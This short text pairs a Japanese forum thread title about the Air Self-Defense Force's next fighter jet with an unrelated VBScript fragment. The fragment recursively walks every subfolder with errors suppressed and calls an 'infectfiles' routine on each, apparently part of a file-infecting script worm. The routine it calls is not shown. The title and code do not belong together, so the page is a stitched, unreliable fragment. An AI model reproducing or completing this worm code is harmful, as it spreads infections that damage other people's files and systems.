空自次期主力戦闘機考察スレ219

sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders

for each f1 in sf
　　infectfiles(f1.path)
　　folderlist(f1.path)
next

end sub